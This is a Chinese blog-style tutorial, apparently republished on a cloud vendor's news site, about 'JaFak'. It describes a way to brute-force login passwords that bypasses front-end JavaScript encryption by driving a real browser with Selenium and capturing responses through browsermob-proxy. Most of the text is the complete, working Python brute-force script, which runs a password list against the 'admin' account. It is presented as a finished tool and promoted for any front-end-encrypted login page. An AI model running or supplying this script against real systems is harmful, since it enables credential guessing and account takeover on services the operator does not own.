您好,登錄后才能下訂單哦!
無視js前端加密的賬號密碼爆破工具JaFak怎么用,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。
所以我決定搞點事情,把這個洞危害加大,我第一個想的就是爆破固定的用戶名與密碼,因為系統(tǒng)的登錄頁面,無論是你用戶名錯誤還是密碼錯誤,都返回“用戶名和密碼或錯誤!”,且沒有驗證碼驗證,也不限制次數(shù),又因為我們枚舉了正確的用戶名,這個提示相當于變成了“密碼錯誤,請重新輸入”,就可以爆破固定用戶名的密碼了,burp啟動,直接就沖了!
看到密碼后面有%3D%3D,我逐漸興奮,這不就是base64加密嗎?直接python腳本,先base64加密,然后爆破,舒服,等著出密碼就行了!
但是得先驗證是否是base64加密,然后放入burp解碼,我擦,解不出來,我剛開始還不相信,多試了幾次,還真不是!
沒事沒事,冷靜冷靜!這玩意密碼學嘛,這不有手就能把他的加密邏輯給逆出來,哎呀,我擦,我的手勒?
然后打開js,進行源碼分析,漂亮,一個混淆把我思路繞城了鋼絲球!
直接給我整勸退,再見項目,再見網(wǎng)安,再見打工人,回家種田去了。
但是吧,我覺得難不倒我,我還可以搶救一下,因為我以前看過大佬,通過本地建立服務(wù),去調(diào)用系統(tǒng)的js,然后為己用,但是也得找到加密函數(shù)的接口,bp上面就有插件,本地起服務(wù),但是也得找到加密的入口函數(shù)!還是佩服那些前端調(diào)試硬剛的大佬,真是大佬!
因為我以前見過國外的某性能測試軟件,不知道啥名字了,反正挺貴的,能自動控制瀏覽器進行性能設(shè)置,就好比一個機器人幫你輸入,幫你提交,幫你訪問網(wǎng)站,我覺得酷死了,然后我就想了想咋實現(xiàn)的,想起自動化,我肯定第一時間想起了python,Google一搜還真有!
有事找百度,google準沒錯!
為什么說奇幻勒?因為爬坑的故事真的一把鼻涕一把淚的,別說了,哭暈在廁所。
開始使用selenium框架……
Selenium 是什么?一句話,自動化測試工具。
它支持各種瀏覽器,包括 Chrome,Safari,F(xiàn)irefox 等主流界面式瀏覽器,如果你在這些瀏覽器里面安裝一個 Selenium 的插件,那么便可以方便地實現(xiàn) Web 界面的測試。換句話說叫 Selenium 支持這些瀏覽器驅(qū)動。
這里用的東西python+selenium+browsermobproxy
愛之初體驗
我們先來一個小例子感受一下 Selenium,這里我們用 Chrome 瀏覽器來測試(當然你可以i緩存其他的瀏覽器不影響)。
注意在嘗試這段代碼之前,你得安裝chrome瀏覽器。
from selenium import webdriver browser = webdriver.Chrome() browser.get('http://www.baidu.com/')
運行這段代碼,它會自動打開chrome瀏覽器,然后打開http://www.baidu.com/這個網(wǎng)頁,完全可視化,因為你會看到你的chrome瀏覽器打開瀏覽這個過程。
如果代碼執(zhí)行錯誤,瀏覽器沒有打開,那么應(yīng)該是沒有裝 Chrome 瀏覽器或者 Chrome 驅(qū)動沒有配置在環(huán)境變量里。下載驅(qū)動,然后將驅(qū)動文件路徑配置在環(huán)境變量即可
但是因為我們的測試需要提交爆破的用戶名和密碼打開網(wǎng)頁是遠遠不夠的,所以
from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome() driver.get("http://www.python.org") assert "Python" in driver.title#等待加載結(jié)束 elem = driver.find_element_by_name("q") elem.send_keys("pycon") elem.send_keys(Keys.RETURN) print(driver.page_source)
這段代碼會遍歷打開http://www.python.org這個網(wǎng)頁,等Python字體加載出來的時候,才遍歷html 樹狀結(jié)構(gòu),找到name為q的標簽,然后填入pycon,然后模擬點擊
這里為什么要等待加載,因為可能網(wǎng)站有jq什么的加載沒完全,再點擊會失去原來的韻味。
根據(jù)實際需求的情況需要這段代碼被我改成了這個樣子:
from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome() driver.get("xxxxxxxx") driver.find_element_by_css_selector("[class='class_name']").send_keys( username)#找到輸入用戶名的標簽,把用戶名輸入進去 driver.find_element_by_css_selector( "[class='class_name']").send_keys(password)##找到輸入密碼的標簽,把用戶名輸入進去 driver.find_element_by_css_selector(("[class='class_name']")).click()#找到登錄標簽,然后點擊
這樣就模擬了一次完整的用戶名和密碼輸入,以及點擊登錄的效果.
坑點1:這里為什么要用css_selector,本來可以直接使用by_class_name的,但是因為我實際利用場景這里很特殊,class的名字之間有空格,使用by_class_name獲取不到,如果class的名字沒有空格,就可以直接獲取,當然也可以通過標簽的其他的屬性訪問到.
但是這樣只能提交一次登錄請求,而且還得必須清空上一次填寫的賬號密碼,再改進
from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome() driver.get("xxxxxxxx") #循環(huán)加在這 driver.find_element_by_css_selector("[class='class_name']").send_keys( username)#找到輸入用戶名的標簽,把用戶名輸入進去 driver.find_element_by_css_selector( "[class='class_name']").send_keys(password)##找到輸入密碼的標簽,把用戶名輸入進去 driver.find_element_by_css_selector(("[class='class_name']")).click()#找到登錄標簽,然后點擊 driver.find_element_by_css_selector("[class='class_name']").clear() driver.find_element_by_css_selector("[class='class_name']").clear()
再此基礎(chǔ)上加個循環(huán),可以批量爆破他的密碼了,因為chrome瀏覽器已經(jīng)自動加載調(diào)用js幫我們加密好了變成了密文,然后再發(fā)送過去,真是nice鴨!
但是有個問題,就是我無法捕獲服務(wù)器的返回包,剛開始使用selenium抓取chromedriver的network
抓到的流量還得自己分析,就很難受,然后就是使用了browsermobproxy 來開啟一個中間的代理,讓我的chrome先去經(jīng)過browermobproxy,然后browermobproxy抓取我的http流量,就可以拿到了服務(wù)器返回包了.就很nice!
Browsermob-Proxy是一個開源的Java編寫的基于LittleProxy的代理服務(wù)。Browsermob-Proxy的具體流程有點類似與Flidder或Charles。即開啟一個端口并作為一個標準代理存在,當HTTP客戶端(瀏覽器等)設(shè)置了這個代理,則可以抓取所有的請求細節(jié)并獲取返回內(nèi)容。
安裝:
直接到項目的github上下載打好的壓縮包即可:https://github.com/lightbody/browsermob-proxy/releases,支持Linux和Windows。
安裝對應(yīng)的python包:
pip install browsermob-proxy下載好browsermob-proxy之后,放在指定一個目錄,例如我這里是 D:\apk\browsermob-proxy-2.1.4-bin\browsermob-proxy-2.1.4這個路徑下,所以下面示例代碼如:
from browsermobproxy import Server server = Server("路徑") server.start() proxy = server.create_proxy()
配置Proxy啟動WebDriver:
from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument('--proxy-server={0}'.format(proxy.proxy)) driver = webdriver.Chrome(chrome_options=chrome_options)
值得注意的是:
browsermob-proxy起的Server默認是8080端口
可以直接進入到Server這個類里面去修改他的監(jiān)聽端口
直接上根據(jù)實際測試需求最終代碼:
import os import argparse import sys from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from browsermobproxy import Server from selenium.webdriver.chrome.options import Options class Brower_scan(): def __init__(self,url,username,password_dir): self.url = url self.response_result = [] self.result={} self.init_browsermobproxy() self.init_chrome() self.init_dict_list(username,password_dir) self.result_handing() self.end_env() def init_dict_list(self,username,password_dir): with open(password_dir,"r") as f: self.password_list = f.readlines() for password in self.password_list: self.fill_out_a_form(username,password.replace('\n','')) self.wget_response() def init_browsermobproxy(self): self.server = Server("browsermob-proxy-2.1.4\\bin\\browsermob-proxy.bat")#browermobproxy文件的位置 self.server.start() self.proxy = self.server.create_proxy() self.chrome_options = Options() self.chrome_options.add_argument('--proxy-server={0}'.format(self.proxy.proxy)) self.chrome_options.add_argument('--headless')#這里加了一個參數(shù),不啟動chrome瀏覽器,省去了啟動的時間,更快了 def init_chrome(self): try: self.chrome = webdriver.Chrome(chrome_options=self.chrome_options) self.proxy.new_har("ht_list2", options={'captureContent': True}) self.chrome.get(self.url) except Exception as e: print("Chrome瀏覽器啟動失敗!\n") return 0 def fill_out_a_form(self,username,password): self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-with-prefix']").send_keys( username) self.chrome.find_element_by_css_selector( "[class='ivu-input ivu-input-with-suffix']").send_keys(password) self.chrome.find_element_by_css_selector(("[class='ivu-btn ivu-btn-primary ivu-btn-large']")).click() self.chrome.find_element_by_css_selector("[class='iivu-input ivu-input-with-prefix']").clear() self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-with-suffix']").clear() def wget_response(self): result = self.proxy.har for entry in result['log']['entries']: _url = entry['request']['url'] print(_url) if "password" in _url and "username" in _url: _response = entry['response'] _content = _response['content'] # 獲取接口返回內(nèi)容 self.response_result.append(_response['content']['text']) self.result = dict(zip(self.password_list, self.response_result)) def result_handing(self): for key,value in self.result.items(): print("密碼:{key} :結(jié)果:{result}".format(key=key,result=value)) def end_env(self): try: self.server.stop() self.chrome.quit() find_netstat = os.popen("netstat -ano | findstr 8080")#開的什么端口殺什么端口的進程 pid = find_netstat.read().split()[4] kail_pid = os.popen("taskkill /F /PID {PID}".format(PID=pid)) print(kail_pid.read()) return 1 except IndexError as e: return 0 Brower = Brower_scan(url,'admin','password.txt')
拿去實戰(zhàn)爆破效果一瀏覽:
坑點二:
實際爆破效果不是這樣的
密碼輸入依次為 123456 123456456789 123456455678955664 ........................一直增大 ,好像緩存沒有清楚一樣,但是我實際確實clear了
這個問題把我搞了很久,百思不得其解。
最后,在部門大神的指點下,成功找到原因,并解決問題,果然聽君一席話,勝讀10年書,不愧是大佬!!
因為起的瀏覽器默認是記住上次密碼的,當我輸入一個admin賬號的時候,在輸入密碼,然后瀏覽器記住了我的賬號了,雖然錯誤,然后繼續(xù)輸入admin,然后瀏覽器會自動補全123456,然后我再輸入了一個456789 結(jié)果就成了123456456789了..... 就這個理
更改只需要把順序調(diào)換一下就行了:
self.chrome.find_element_by_css_selector("[class='class_name']").clear() self.chrome.find_element_by_css_selector("[class='class_name']").send_keys( username) self.chrome.find_element_by_css_selector("[class='class_name']").clear() self.chrome.find_element_by_css_selector( "[class='class_name']").send_keys(password) self.chrome.find_element_by_css_selector(("[class='class_name']")).click()
只需要在它補全之前,再次clear就行
坑點3:
如果登錄標簽使用click屬性,因為元素被包裹的問題,click多了會報錯!,解決辦法是使用send_keys()
self.chrome.find_element_by_css_selector(("[class='class_name']")).send_keys(Keys.RETURN)
好了這里基本上解決了所以的坑點,但是實際的坑點很多,我只是把主要的幾點放出來講了一下,最終代碼:
import os import argparse import sys from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from browsermobproxy import Server from selenium.webdriver.chrome.options import Options class Brower_scan(): def __init__(self,url,username,password_dir): self.url = url self.response_result = [] self.result={} self.init_browsermobproxy() self.init_chrome() self.init_dict_list(username,password_dir) self.result_handing() self.end_env() def init_dict_list(self,username,password_dir): with open(password_dir,"r") as f: self.password_list = f.readlines() for password in self.password_list: self.fill_out_a_form(username,password.replace('\n','')) self.wget_response() def init_browsermobproxy(self): self.server = Server("browsermob-proxy-2.1.4\\bin\\browsermob-proxy.bat")#browermobproxy文件的位置 self.server.start() self.proxy = self.server.create_proxy() self.chrome_options = Options() self.chrome_options.add_argument("–incognito") self.chrome_options.add_argument('--proxy-server={0}'.format(self.proxy.proxy)) self.chrome_options.add_argument('--headless')#這里加了一個參數(shù),不啟動chrome瀏覽器,省去了啟動的時間,更快了 def init_chrome(self): try: self.chrome = webdriver.Chrome(chrome_options=self.chrome_options) self.proxy.new_har("test", options={'captureContent': True, 'captureHeaders': True}) self.chrome.get(self.url) except Exception as e: print("Chrome瀏覽器啟動失敗!\n") return 0 def fill_out_a_form(self,username,password): print(password) self.chrome.find_element_by_css_selector("[class='class_name']").clear()#清空username輸入框的標簽 self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-large ivu-input-with-prefix']").send_keys( username)#輸入用戶名 self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-large ivu-input-with-prefix ivu-input-with-suffix']").clear()#清空password輸入框的標簽 self.chrome.find_element_by_css_selector( "[class='class_name']").send_keys(password)#輸入用戶名 self.chrome.find_element_by_css_selector("[class='class_name']").send_keys(Keys.RETURN)#點擊登錄 def wget_response(self): result = self.proxy.har for entry in result['log']['entries']: _url = entry['request']['url'] if "password" in _url and "username" in _url: _response = entry['response'] _content = _response['content'] # 獲取接口返回內(nèi)容 self.response_result.append(_response['content']['text']) self.result = dict(zip(self.password_list, self.response_result)) def result_handing(self): for key,value in self.result.items(): print("密碼:{key} :結(jié)果:{result}".format(key=key,result=value)) def end_env(self): try: self.server.stop() self.chrome.quit() find_netstat = os.popen("netstat -ano | findstr 8080")#開的什么端口殺什么端口的進程 pid = find_netstat.read().split()[4] kail_pid = os.popen("taskkill /F /PID {PID}".format(PID=pid)) print(kail_pid.read()) return 1 except IndexError as e: return 0 Brower = Brower_scan(url,'admin','password.txt')
這里僅僅把這種方式利用在密碼爆破上面,但是實際的利用場景遠不止這些,我覺得可以利用任何js加密,jq加密的,前端加密的場景,都可以用到,根本不需要去分析它的js前端加密代碼,只需要把爆破行為模擬正常的用戶行為就歐克了,不得不說,這種智能的方式真的太方便了!太香了!現(xiàn)在只支持通過class來查找輸入框和登錄按鈕,如果需要通過id或其他標識,可以修改源碼。
看完上述內(nèi)容,你們掌握無視js前端加密的賬號密碼爆破工具JaFak怎么用的方法了嗎?如果還想學到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。